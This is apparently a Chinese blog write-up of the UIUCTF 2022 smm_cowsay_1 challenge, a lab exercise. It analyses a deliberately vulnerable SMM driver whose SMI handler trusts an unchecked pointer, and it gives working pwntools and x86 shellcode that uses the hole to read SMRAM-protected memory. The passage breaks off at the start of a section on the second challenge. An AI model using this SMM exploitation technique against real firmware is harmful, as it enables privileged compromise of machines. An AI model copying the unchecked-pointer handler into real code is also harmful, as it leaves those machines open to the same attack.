专门记录SMM相关题目。能找到的题目+有wp的题目都会陆续复现。

UIUCTF 2022-smm_cowsay_1

题目描述

One of our engineers thought it would be a good idea to write Cowsay inside SMM. Then someone outside read out the trade secret (a.k.a. flag) stored at physical address 0x44440000, and since it could only be read from SMM, that can only mean one thing: it… was a horrible idea.

题目文件结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
├── chal_build
│   ├── Dockerfile
│   ├── handout-readme
│   ├── handout_run.sh
│   ├── patches
│   │   ├── edk2
│   │   │   ├── 0001-PiSmmCore-Fix-for-CVE-2021-38578-integer-underflow.patch
│   │   │   ├── 0002-ShellPkg-Simplify-Shell.patch
│   │   │   ├── 0003-SmmCowsay-Vulnerable-Cowsay.patch
│   │   │   ├── 0004-Add-UEFI-Binexec.patch
│   │   │   └── 0005-PiSmmCpuDxeSmm-Open-up-all-the-page-table-access-res.patch
│   │   └── qemu
│   │   └── 0001-Implement-UIUCTFMMIO-device.patch
│   └── qemu-system-x86_64
├── edk2_artifacts
│   ├── AcpiTableDxe.debug
│   ├── AcpiTableDxe.efi
│   ├── AmdSevDxe.debug
│   ├── AmdSevDxe.efi
│   ├── ArpDxe.debug
│   ├── ArpDxe.efi
..............
├── edk2debug.log
├── README
└── run
├── kvmvapic.bin
├── OVMF_CODE.fd
├── OVMF_VARS_copy.fd
├── OVMF_VARS.fd
├── qemu-system-x86_64
├── region4
├── rootfs
│   ├── binexec.efi
│   └── startup.nsh
└── run.sh

总览

题目描述可以看出,我们需要利用SMM读取物理地址0x44440000位置的flag。

run文件夹里面可以运行本题的题目文件,用x86的qemu模拟。运行截图如下

image-20240826174441555

可以发现是一个shellcode执行器,输入x86的shellcode的hex值就可以模拟执行。最重要的是它给出了SystemTable和shellcode写入的地址。漏洞利用的时候需要利用这个,现在先不看。

源代码是对EDK2(标准UEFI实现)和QEMU的一系列补丁,位于patches里。里面有edk2和qemu的补丁文件,可以在里面看到patch的源代码。可以不用用ida去逆向逻辑,符号各种都是在的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
+UINTN
+EFIAPI
+SmmPrint (
+ IN CONST CHAR16 *Format,
+ ...
+ )
+{
+ VA_LIST Marker;
+ UINTN Return;
+
+ VA_START (Marker, Format);
+
+ Return = SmmInternalPrint (Format, Marker);
+
+ VA_END (Marker);
+
+ return Return;
+}
+
+VOID
+EFIAPI
+Cowsay (
+ IN CONST CHAR16 *Message
+ )
+{
+ UINTN Rows, Cols, CurRow, CurCol;
+ CHAR16 PrintChr[2] = {0};
+ CONST CHAR16 *Ptr;
+
+ Rows = Cols = CurRow = CurCol = 0;
+
+ for (Ptr = Message; *Ptr; Ptr++) {
+ if (CurCol == 0)
+ Rows++;
+
+ if (*Ptr == '\n') {
+ CurCol = 0;
+ continue;
+ }
+
+ CurCol++;
+ if (CurCol > Cols)
+ Cols = CurCol;
+ }

run\rootfs里的binexec.efi是加载的驱动文件,对应的是003补丁,对应一下就能很方便的把符号和代码对上。方便进行gdb调试。

image-20240826175225993

分析

因为有patch的源代码了,我们直接分析源代码即可。

patches

首先看SmmCowsay-Vulnerable-Cowsay.patch,从名字就可以看出比较危险(

最下方的inf文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
+++ b/OvmfPkg/SmmCowsay/SmmCowsay.inf
@@ -0,0 +1,38 @@
+[Defines]
+ INF_VERSION = 0x00010005
+ BASE_NAME = SmmCowsay
+ FILE_GUID = A7DE70E0-918E-4DFE-BFFB-AD860A376E65
+ MODULE_TYPE = DXE_SMM_DRIVER
+ VERSION_STRING = 1.0
+ PI_SPECIFICATION_VERSION = 0x0001000A
+ ENTRY_POINT = SmmCowsayInit
+
+[Sources]
+ SmmCowsay.c
+

ENTRY_POINT是SmmCowsayInit,MODULE_TYPE是DXE_SMM_DRIVER。DXE驱动类型,在SMM中运行。DXE驱动和UEFI的应用程序之间的通信通过UEFI服务和协议,我们需要找到驱动注册处理程序和驱动和UEFI应用程序交互的代码。

注册处理程序的代码就在当前文件的ENTRY_POINT中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
+SmmCowsayInit (
+ IN EFI_HANDLE ImageHandle,
+ IN EFI_SYSTEM_TABLE *SystemTable
+ )
+{
+ EFI_STATUS Status;
+ EFI_HANDLE DispatchHandle;
+
+ Status = gSmst->SmiHandlerRegister (
+ SmmCowsayHandler,
+ &gEfiSmmCowsayCommunicationGuid,
+ &DispatchHandle
+ );
+ ASSERT_EFI_ERROR (Status);
+
+ return Status;
+}

SmiHandlerRegister函数参数如下

1
2
3
4
5
SmiHandlerRegister (
IN EFI_SMM_HANDLER_ENTRY_POINT2 Handler,
IN CONST EFI_GUID *HandlerType OPTIONAL,
OUT EFI_HANDLE *DispatchHandle
)

这里重点注意第一个参数,这个函数将handle加入处理程序列表中,当发生 SMI 时,EDK2 注册的 SMI 处理程序会浏览已注册处理程序的链接列表,并选择合适的处理程序来运行。

具体的处理程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
+SmmCowsayHandler (
+ IN EFI_HANDLE DispatchHandle,
+ IN CONST VOID *Context OPTIONAL,
+ IN OUT VOID *CommBuffer OPTIONAL,
+ IN OUT UINTN *CommBufferSize OPTIONAL
+ )
+{
+ DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n"));
+
+ if (!CommBuffer || !CommBufferSize || *CommBufferSize < sizeof(CHAR16 *))
+ return EFI_SUCCESS;
+
+ Cowsay(*(CONST CHAR16 **)CommBuffer);
+
+ DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n"));
+
+ return EFI_SUCCESS;
+}

注意这一行Cowsay(*(CONST CHAR16 **)CommBuffer);

第一次看这段的时候我联想到了之前所学的漏洞类型里面的任意SMRAM攻击,未检查多级指针那个。所以多留心了一眼,刚巧漏洞的一个部分就是这一行。后面再说。

剩下的代码是结构化输出,没啥用,直接看另一个patch。

0004-Add-UEFI-Binexec.patch,看名字也能知道是patch UEFI的叫Binexec的一个应用程序。总览题目的时候实际运行run.sh的时候执行的二进制也就是这个。也就是这个应用程序和刚刚的驱动进行通信和交互,才能输出我们运行程序后的那个字符图像。我们寻找一下交互相关的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
+VOID
+Cowsay (
+ IN CONST CHAR16 *Message
+ )
+{
+ EFI_SMM_COMMUNICATE_HEADER *Buffer;
+
+ Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + sizeof(CHAR16 *));
+ if (!Buffer)
+ return;
+
+ Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid;
+ Buffer->MessageLength = sizeof(CHAR16 *);
+ *(CONST CHAR16 **)&Buffer->Data = Message;
+
+ mSmmCommunication->Communicate(
+ mSmmCommunication,
+ Buffer,
+ NULL
+ );
+
+ FreePool(Buffer);
+}

可以看到这里有一个mSmmCommunication->Communicate。EFI_SMM_COMMUNICATION_PROTOCOL是mSmmCommunication的结构体类型。查看源码如下

1
2
3
4
5
6
7
8
9
EFI_SMM_COMMUNICATION_PROTOCOL  mSmmCommunication = {
SmmCommunicationCommunicate
};

SmmCommunicationCommunicate (
IN CONST EFI_SMM_COMMUNICATION_PROTOCOL *This,
IN OUT VOID *CommBuffer,
IN OUT UINTN *CommSize OPTIONAL
);

SmmCommunicationCommunicate用于在 SMM模式下进行通信。因为我们实际运行的二进制是在UEFI引导环境下执行的独立应用程序,但不是在SMM环境下执行,我们没法直接和SMM内运行的SmmCowsay驱动交互,只能通过SmmCommunicationCommunicate函数。因此我们只需要注意这个函数的参数就可以知道通信的内容了。此函数将消息复制到全局变量中,并触发软件 SMI 来处理该消息。该消息包含我们要与之通信的 SMM 处理程序的 GUID,在进入 SMM 时会在已注册处理程序的链接列表中搜索该 GUID。

第二个参数是CommBuffer,题目代码里面是Buffer结构体,结构体类型是EFI_SMM_COMMUNICATE_HEADER。我们主要关注它就行。

最后来看看qemu的patch

存在一个全局char字符数组

1
+static char nice_try_msg[] = "uiuctf{nice try!!!!!!!!!!!!}\n";

找到引用的位置,可以看到如果属性的secure为true就可以走到region4_msg,否则走入nice_try_msg,看起来是fake flag的分支里面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
+static MemTxResult uiuctfmmio_region4_read_with_attrs(
+ void *opaque, hwaddr addr, uint64_t *val, unsigned size, MemTxAttrs attrs)
+{
+ if (!attrs.secure)
+ uiuctfmmio_do_read(addr, val, size, nice_try_msg, nice_try_len);
+ else
+ uiuctfmmio_do_read(addr, val, size, region4_msg, region4_len);
+ return MEMTX_OK;
+}
+static const MemoryRegionOps uiuctfmmio_region4_io_ops =
+{
+ .write = uiuctfmmio_write,
+ .read_with_attrs = uiuctfmmio_region4_read_with_attrs,
+ .valid.min_access_size = 1,
+ .valid.max_access_size = 8,
+ .endianness = DEVICE_NATIVE_ENDIAN,
+};

flag相关函数

1
2
3
4
5
6
7
8
9
10
11
12
+static void uiuctfmmio_realize(DeviceState *d, Error **errp)
+{
+ SysBusDevice *dev = SYS_BUS_DEVICE(d);
+ UiuctfmmioState *sio = UIUCTFMMIO(d);
+ Object *obj = OBJECT(sio);
+ MemoryRegion *sysbus = sysbus_address_space(dev);
+
+ memory_region_init_io(&sio->region4, obj, &uiuctfmmio_region4_io_ops, sio,
+ TYPE_UIUCTFMMIO, 0x1000);
+ sysbus_init_mmio(dev, &sio->region4);
+ memory_region_add_subregion(sysbus, 0x44440000, &sio->region4);
+}

可以看到这里用 memory_region_init_io() 函数初始化一个内存区域 sio->region4。这个内存区域的大小为 0x1000 字节。&uiuctfmmio_region4_io_ops 指定了这个内存区域的 I/O 操作回调函数,sio 作为 opaque 参数传递给回调函数。随后用sysbus_init_mmio将这个内存区域注册到 SysBusDevice 中,使其成为设备的一个 MMIO (Memory-Mapped I/O) 区域。最后使用 memory_region_add_subregion() 函数将这个内存区域添加到系统总线的地址空间中,映射到物理地址0x44440000。也就是我们想要读取的flag的位置。

uiuctfmmio_region4_io_ops的write回调和read_with_attrs回调分别被设置成uiuctfmmio_write和uiuctfmmio_region4_read_with_attrs,后者是上面分析的函数。由此我们可以知道,qemu的patch在0x44440000初始化了一片大小为0x1000的MMIO的区域,可以用uiuctfmmio_region4_io_ops的函数进行IO。

EFI System Table

回收一下开头,开头的System Table地址是题目直接给我们的。EFI System Table里面有几乎所有我们需要的UEFI驱动的信息。可以通过这个Table寻址到很多api方法和配置变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
typedef struct {
EFI_TABLE_HEADER Hdr; /* 0 24 */
CHAR16 * FirmwareVendor; /* 24 8 */
UINT32 FirmwareRevision; /* 32 4 */

/* XXX 4 bytes hole, try to pack */

EFI_HANDLE ConsoleInHandle; /* 40 8 */
EFI_SIMPLE_TEXT_INPUT_PROTOCOL * ConIn; /* 48 8 */
EFI_HANDLE ConsoleOutHandle; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL * ConOut; /* 64 8 */
EFI_HANDLE StandardErrorHandle; /* 72 8 */
EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL * StdErr; /* 80 8 */
EFI_RUNTIME_SERVICES * RuntimeServices; /* 88 8 */
EFI_BOOT_SERVICES * BootServices; /* 96 8 */
UINTN NumberOfTableEntries; /* 104 8 */
EFI_CONFIGURATION_TABLE * ConfigurationTable; /* 112 8 */

/* size: 120, cachelines: 2, members: 13 */
/* sum members: 116, holes: 1, sum holes: 4 */
/* last cacheline: 56 bytes */
} EFI_SYSTEM_TABLE;

这里我们主要关注BootServices,里面有一些我们后面用得到的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
typedef struct {
EFI_TABLE_HEADER Hdr; /* 0 24 */
EFI_RAISE_TPL RaiseTPL; /* 24 8 */
EFI_RESTORE_TPL RestoreTPL; /* 32 8 */
EFI_ALLOCATE_PAGES AllocatePages; /* 40 8 */
EFI_FREE_PAGES FreePages; /* 48 8 */
EFI_GET_MEMORY_MAP GetMemoryMap; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
EFI_ALLOCATE_POOL AllocatePool; /* 64 8 */
EFI_FREE_POOL FreePool; /* 72 8 */
EFI_CREATE_EVENT CreateEvent; /* 80 8 */
EFI_SET_TIMER SetTimer; /* 88 8 */
EFI_WAIT_FOR_EVENT WaitForEvent; /* 96 8 */
EFI_SIGNAL_EVENT SignalEvent; /* 104 8 */
EFI_CLOSE_EVENT CloseEvent; /* 112 8 */
EFI_CHECK_EVENT CheckEvent; /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
EFI_INSTALL_PROTOCOL_INTERFACE InstallProtocolInterface; /* 128 8 */
EFI_REINSTALL_PROTOCOL_INTERFACE ReinstallProtocolInterface; /* 136 8 */
EFI_UNINSTALL_PROTOCOL_INTERFACE UninstallProtocolInterface; /* 144 8 */
EFI_HANDLE_PROTOCOL HandleProtocol; /* 152 8 */
void * Reserved; /* 160 8 */
EFI_REGISTER_PROTOCOL_NOTIFY RegisterProtocolNotify; /* 168 8 */
EFI_LOCATE_HANDLE LocateHandle; /* 176 8 */
EFI_LOCATE_DEVICE_PATH LocateDevicePath; /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
EFI_INSTALL_CONFIGURATION_TABLE InstallConfigurationTable; /* 192 8 */
EFI_IMAGE_LOAD LoadImage; /* 200 8 */
EFI_IMAGE_START StartImage; /* 208 8 */
EFI_EXIT Exit; /* 216 8 */
EFI_IMAGE_UNLOAD UnloadImage; /* 224 8 */
EFI_EXIT_BOOT_SERVICES ExitBootServices; /* 232 8 */
EFI_GET_NEXT_MONOTONIC_COUNT GetNextMonotonicCount; /* 240 8 */
EFI_STALL Stall; /* 248 8 */
/* --- cacheline 4 boundary (256 bytes) --- */
EFI_SET_WATCHDOG_TIMER SetWatchdogTimer; /* 256 8 */
EFI_CONNECT_CONTROLLER ConnectController; /* 264 8 */
EFI_DISCONNECT_CONTROLLER DisconnectController; /* 272 8 */
EFI_OPEN_PROTOCOL OpenProtocol; /* 280 8 */
EFI_CLOSE_PROTOCOL CloseProtocol; /* 288 8 */
EFI_OPEN_PROTOCOL_INFORMATION OpenProtocolInformation; /* 296 8 */
EFI_PROTOCOLS_PER_HANDLE ProtocolsPerHandle; /* 304 8 */
EFI_LOCATE_HANDLE_BUFFER LocateHandleBuffer; /* 312 8 */
/* --- cacheline 5 boundary (320 bytes) --- */
EFI_LOCATE_PROTOCOL LocateProtocol; /* 320 8 */
EFI_INSTALL_MULTIPLE_PROTOCOL_INTERFACES InstallMultipleProtocolInterfaces; /* 328 8 */
EFI_UNINSTALL_MULTIPLE_PROTOCOL_INTERFACES UninstallMultipleProtocolInterfaces; /* 336 8 */
EFI_CALCULATE_CRC32 CalculateCrc32; /* 344 8 */
EFI_COPY_MEM CopyMem; /* 352 8 */
EFI_SET_MEM SetMem; /* 360 8 */
EFI_CREATE_EVENT_EX CreateEventEx; /* 368 8 */
/* size: 376, cachelines: 6, members: 45 */
/* last cacheline: 56 bytes */
} EFI_BOOT_SERVICES;

shellcode运行

首先用pwntools的命令行插件生成shellcode

image-20240830113834713

尝试运行

image-20240830114336253

可以看到确实正常执行了输入的shellcode。接下来试试别的

image-20240830114538208

我们直接读取0x44440000的数据,也就是题目的flag所存放的物理地址。读入rax和rbx中,我们转换一下hex发现

image-20240830114656957

就是源代码的那个假flag。符合预期,因为我们现在并不是在SMM的特权级别去读取,那个secure参数并不会为True,不会进入真正的物理地址读取。

漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
VOID
Cowsay (
IN CONST CHAR16 *Message
)
{
EFI_SMM_COMMUNICATE_HEADER *Buffer;

Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) sizeof(CHAR16 *));
if (!Buffer)
return;

Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid;
Buffer->MessageLength = sizeof(CHAR16 *);
*(CONST CHAR16 **)&Buffer->Data = Message;

mSmmCommunication->Communicate(
mSmmCommunication,
Buffer,
NULL
);

FreePool(Buffer);
}

前面分析过,此处的communicate是UEFI应用程序(binexec)和驱动之间通信的桥梁。传入的Buffer的结构是EFI_SMM_COMMUNICATE_HEADER,具体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
typedef struct {
///
/// Allows for disambiguation of the message format.
///
EFI_GUID HeaderGuid;
///
/// Describes the size of Data (in bytes) and does not include the size of the header.
///
UINTN MessageLength;
///
/// Designates an array of bytes that is MessageLength in size.
///
UINT8 Data[1];
} EFI_SMM_COMMUNICATE_HEADER;

注意到这一句

*(CONST CHAR16 **)&Buffer->Data = Message;

我们传给data成员的是一个指针。我们康康这个Message会传到哪儿。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
+EFI_STATUS
+EFIAPI
+SmmCowsayHandler (
+ IN EFI_HANDLE DispatchHandle,
+ IN CONST VOID *Context OPTIONAL,
+ IN OUT VOID *CommBuffer OPTIONAL,
+ IN OUT UINTN *CommBufferSize OPTIONAL
+ )
+{
+ DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n"));
+
+ if (!CommBuffer || !CommBufferSize || *CommBufferSize < sizeof(CHAR16 *))
+ return EFI_SUCCESS;
+
+ Cowsay(*(CONST CHAR16 **)CommBuffer);
+
+ DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n"));
+
+ return EFI_SUCCESS;
+}

之前已经注册了的smi的处理函数,CommBuffer即对应着我们传入的Message的data。我们可以看到没有做任何的处理就直接丢进Cowsay中了,而Cowsay是一个打印函数,传入的就是一个指针。因为这个处理方式完全没有检查传入的指针指向的地址,所以我们可以通过传入flag的0x44440000的地址,来让cowsay函数读出对应的地址的内容。因为是smi的handler函数,处于SMM下,所以用这个函数读取是能正常读出来而不是读到假flag的。

综上,我们下一步要做的,是调用下列函数并传入我们构造的vulnerable buffer

1
2
3
4
5
mSmmCommunication->Communicate(
mSmmCommunication,
Buffer,
NULL
);

首先找到mSmmCommunication

1
2
3
4
5
Status = gBS->LocateProtocol(
&gEfiSmmCommunicationProtocolGuid,
NULL,
(VOID **)&mSmmCommunication
);

以下是gpt的解释

1
2
3
gBS->LocateProtocol() 是 UEFI 固件提供的一个重要的系统服务,它用于查找和获取一个特定的协议接口。协议接口是 UEFI 编程模型中的一个核心概念,它定义了一组标准化的函数和数据结构,用于访问系统服务或设备。
gBS->LocateProtocol() 被用来查找并获取 EFI_SMM_COMMUNICATION_PROTOCOL 接口。这个协议提供了与 SMM (System Management Mode) 模式进行通信的功能。
调用这个函数后,如果成功,mSmmCommunication 变量将指向所查找到的 EFI_SMM_COMMUNICATION_PROTOCOL 接口。然后,你的代码可以使用这个接口提供的函数来与 SMM 模式进行通信和交互。

调用成功后第三个参数会变成一个协议的接口,随后我们就可以通过这个接口去调用Communicate。所以我们目标又变成了调用LocateProtocol。而LocateProtocol是UEFI的系统服务,是BootServices结构体的一个成员函数。所以调用链也很清晰了EFI_SYSTEM_TABLE->BootServices->LocateProtocol。理论可行,开始上手。

Exploitation

get LocateProtocal

首先写shellcode获取LocateProtocal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import os
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *
context(arch='amd64')

os.chdir('handout/run')
conn = process('./run.sh')
os.chdir('../..')

conn.recvuntil(b'Address of SystemTable: ')
system_table = int(conn.recvline(), 16)

log.info('SystemTable @ 0x%x', system_table)

conn.recvline()

code = asm(f'''
mov rax, {system_table}
mov rax, qword ptr [rax + 96]
mov rbx, qword ptr [rax + 320]
''')
conn.sendline(code.hex().encode() + b'\ndone')

conn.recvuntil(b'RBX: 0x')
LocateProtocol = int(conn.recvn(16), 16)

log.success('BootServices->LocateProtocol @ 0x%x', LocateProtocol)

偏移从结构体里面找。由此获得地址

image-20240831211433408

本地运行几次都是这个地址,因为EDK2没有开ASLR。

get mSmmCommunication

主动调用LocateProtocol,其中LocateProtocol第一个参数gEfiSmmCommunicationProtocolGuid我们需要在Binexec.efi里面找。因为Binexec的源代码里进行了调用,此时分配了一个对应的Guid。我尝试用源代码的Guid发现没法成功返回,只能用efi里硬编码的Guid。找LocateProtocol的方法就是看参数,第二个参数是0,第一个参数是一串16进制(因为是uid)。第三个参数是一个双重指针。很容易就找到了。

image-20240831215931387

很容易能看出来此处qword_103128对应的是bootService,因为这里是+320,一看就是LocateProtocol的偏移。可以通过这种方式把其他很多函数符号恢复了,一个可能是常见的小技巧吧。

image-20240831221112297

将第一个参数的16进制拿出来即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

gEfiSmmCommunicationProtocolGuid = 0x32c3c5ac65db949d4cbd9dc6c68ed8e2

/* LocateProtocol(gEfiSmmCommunicationProtocolGuid, NULL, &protocol) */
lea rcx, qword ptr [rip + guid]
xor rdx, rdx
lea r8, qword ptr [rip + protocol]
mov rax, {LocateProtocol}
call rax

test rax, rax
jnz fail

mov rax, qword ptr [rip + protocol] /* mSmmCommunication */
mov rbx, qword ptr [rax] /* mSmmCommunication->Communicate */
ret

fail:
ud2

guid:
.octa {gEfiSmmCommunicationProtocolGuid}
protocol:

由此获取mSmmCommunication,顺藤摸瓜获取Communicate函数。

有Communicate了我们只需要构造一个buffer按道理来说就可以输出0x44440000地址的flag了。buffer中的headerGuid我们可以在patch文件或者SMMcowsay.efi里面找。如果在efi里面找,我们可以通过这种方式

1
2
3
4
5
+  Status = gSmst->SmiHandlerRegister (
+ SmmCowsayHandler,
+ &gEfiSmmCowsayCommunicationGuid,
+ &DispatchHandle
+ );

因为此处注册SMI处理函数的时候第一个参数对应的是一个函数指针,也就是handler函数。第二个对应的就是guid。我们找到第一个参数是函数指针且第二个参数是16进制的就可以定位了。

image-20240831220954724

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gEfiSmmCowsayCommunicationGuid = 0xf79265547535a8b54d102c839a75cf12


/* Communicate(mSmmCommunication, &buffer, NULL) */
mov rcx, {mSmmCommunication}
lea rdx, qword ptr [rip + buffer]
xor r8, r8
mov rax, {Communicate}
call rax

test rax, rax
jnz fail
ret

fail:
ud2

buffer:
.octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */
.quad 8 /* Buffer->MessageLength */
.quad 0x44440000 /* Buffer->Data */

但是执行完报错了

image-20240831221813876

从log输出可以看出,rip-shellcode运行的地址=0x20,在ida里查看shellcode,发现走到了fail的分支

image-20240831223439155

rax的返回值是0xf,看看错误代码可知对应的是EFI_ACCESS_DENIED。访问拒绝。communicate函数执行失败了。

debug

查看源码发现原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
Communicates with a registered handler.

This function provides a service to send and receive messages from a registered
UEFI service. This function is part of the SMM Communication Protocol that may
be called in physical mode prior to SetVirtualAddressMap() and in virtual mode
after SetVirtualAddressMap().

@param[in] This The EFI_SMM_COMMUNICATION_PROTOCOL instance.
@param[in, out] CommBuffer A pointer to the buffer to convey into SMRAM.
@param[in, out] CommSize The size of the data buffer being passed in. On exit, the size of data
being returned. Zero if the handler does not wish to reply with any data.
This parameter is optional and may be NULL.

@retval EFI_SUCCESS The message was successfully posted.
@retval EFI_INVALID_PARAMETER The CommBuffer was NULL.
@retval EFI_BAD_BUFFER_SIZE The buffer is too large for the MM implementation.
If this error is returned, the MessageLength field
in the CommBuffer header or the integer pointed by
CommSize, are updated to reflect the maximum payload
size the implementation can accommodate.
@retval EFI_ACCESS_DENIED The CommunicateBuffer parameter or CommSize parameter,
if not omitted, are in address range that cannot be
accessed by the MM environment.
#原因如上

**/
EFI_STATUS
EFIAPI
SmmCommunicationCommunicate (
IN CONST EFI_SMM_COMMUNICATION_PROTOCOL *This,
IN OUT VOID *CommBuffer,
IN OUT UINTN *CommSize OPTIONAL
);

CommunicateBuffer位于 MM 环境无法访问的地址范围内。无法访问的地址指什么呢?这个时候我们联想到我上一个博客总结的各种攻击手法的一个缓冲区检查的函数SmmIsBufferOutsideSmmValid。因为都是放在SMRAM缓冲区所以可以往这个方向联想。直接看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Check override for Valid Communication Region
//
if (mSmmMemLibSmmReadyToLock) {
EFI_MEMORY_DESCRIPTOR *MemoryMap;
BOOLEAN InValidCommunicationRegion;

InValidCommunicationRegion = FALSE;
MemoryMap = mMemoryMap;
for (Index = 0; Index < mMemoryMapEntryCount; Index++) {
if ((Buffer >= MemoryMap->PhysicalStart) &&
(Buffer + Length <= MemoryMap->PhysicalStart + LShiftU64 (MemoryMap->NumberOfPages, EFI_PAGE_SHIFT)))
{
InValidCommunicationRegion = TRUE;
}

MemoryMap = NEXT_MEMORY_DESCRIPTOR (MemoryMap, mDescriptorSize);
}

if (!InValidCommunicationRegion) {
DEBUG ((
DEBUG_ERROR,
"SmmIsBufferOutsideSmmValid: Not in ValidCommunicationRegion: Buffer (0x%lx) - Length (0x%lx)\n",
Buffer,
Length
));
return FALSE;
}

这一段就是原因,他规定了buffer的地址需要在某个范围之内,不然就是Not in ValidCommunicationRegion。我们是在执行shellcode的位置执行的,这可能意味着此地址在MM环境无法访问的地址范围。那原程序执行时地址是哪儿来的呢?查看patches文件可以得知,是库函数分配给它的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
+  EFI_SMM_COMMUNICATE_HEADER *Buffer;
+
+ Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + sizeof(CHAR16 *));
+ if (!Buffer)
+ return;
+
+ Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid;
+ Buffer->MessageLength = sizeof(CHAR16 *);
+ *(CONST CHAR16 **)&Buffer->Data = Message;
+
+ mSmmCommunication->Communicate(
+ mSmmCommunication,
+ Buffer,
+ NULL
+ );

要学就努力学懂。接着查看AllocateRuntimeZeroPool的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
Allocates and zeros a buffer of type EfiRuntimeServicesData. <======分配的data的类型

Allocates the number bytes specified by AllocationSize of type EfiRuntimeServicesData, clears the
buffer with zeros, and returns a pointer to the allocated buffer. If AllocationSize is 0, then a
valid buffer of 0 size is returned. If there is not enough memory remaining to satisfy the
request, then NULL is returned.

@param AllocationSize The number of bytes to allocate and zero.

@return A pointer to the allocated buffer or NULL if allocation fails.

**/
VOID *
EFIAPI
AllocateRuntimeZeroPool (
IN UINTN AllocationSize
)
{
return InternalAllocateZeroPool (EfiRuntimeServicesData, AllocationSize);
}

查看EfiRuntimeServicesData文档

image-20240831230648232

1
已加载的 UEFI 运行时驱动程序的数据部分,以及 UEFI 运行时驱动程序用于分配池内存的默认数据分配类型。

默认分配的类型就是这个。如果用这个分配的数据对应的地址肯定是被信任的地址。

我们没法用已有的东西直接调用AllocateRuntimeZeroPool,但是我们可以用类似的函数替代。BootServices->AllocatePool()和BootServices->AllocatePages()都行。只要分配的类型是EfiRuntimeServicesData就行。此处使用BootServices->AllocatePool()进行分配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
EfiRuntimeServicesData = 6

code = asm(f'''
/* AllocatePool(EfiRuntimeServicesData, 0x1000, &buffer) */
mov rcx, {EfiRuntimeServicesData}
mov rdx, 0x1000
lea r8, qword ptr [rip + buffer]
mov rax, {AllocatePool}
call rax

test rax, rax
jnz fail

mov rax, qword ptr [rip + buffer]
ret

fail:
ud2

buffer:
''')
conn.sendline(code.hex().encode() + b'\ndone')

conn.recvuntil(b'RAX: 0x')
buffer = int(conn.recvn(16), 16)
log.success('Allocated buffer @ 0x%x', buffer)

code = asm(f'''
/* Copy data into allocated buffer */
lea rsi, qword ptr [rip + data]
mov rdi, {buffer}
mov rcx, 0x20
cld
rep movsb

/* Communicate(mSmmCommunication, buffer, NULL) */
mov rcx, {mSmmCommunication}
mov rdx, {buffer}
xor r8, r8
mov rax, {Communicate}
call rax

test rax, rax
jnz fail
ret

fail:
ud2

data:
.octa {gEfiSmmCowsayCommunicationGuid} /* Buffer->HeaderGuid */
.quad 8 /* Buffer->MessageLength */
.quad 0x44440000 /* Buffer->Data */
''')

conn.sendline(code.hex().encode())
conn.sendline(b'done')

AllocatePool最开始的时候获取一下就行了。运行后得到部分flag。因为flag存储是UTF-16,所以它取数据是一次跳2byte取的。只需要地址加1即可获得所有flag。

image-20240831231555050

总结

基本上是复现,但是把很多没提到的东西都深入的研究了,也没有硬复现而是看一部分然后基于当前部分想后面做法后再去查看思路。非常非常好的题目,学到非常多。

UIUCTF 2022-smm_cowsay_2

题目描述

We asked that engineer to fix the issue, but I think he may have left a backdoor disguised as debugging code.

总览

文件结构和cowsay1的一模一样。运行后和cowsay1一样的输出,也有system table和shellcode地址。直接看patches文件吧。

差别的话,首先edk2的5文件里把页表都开了读保护,不像上一道题rwx都开了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
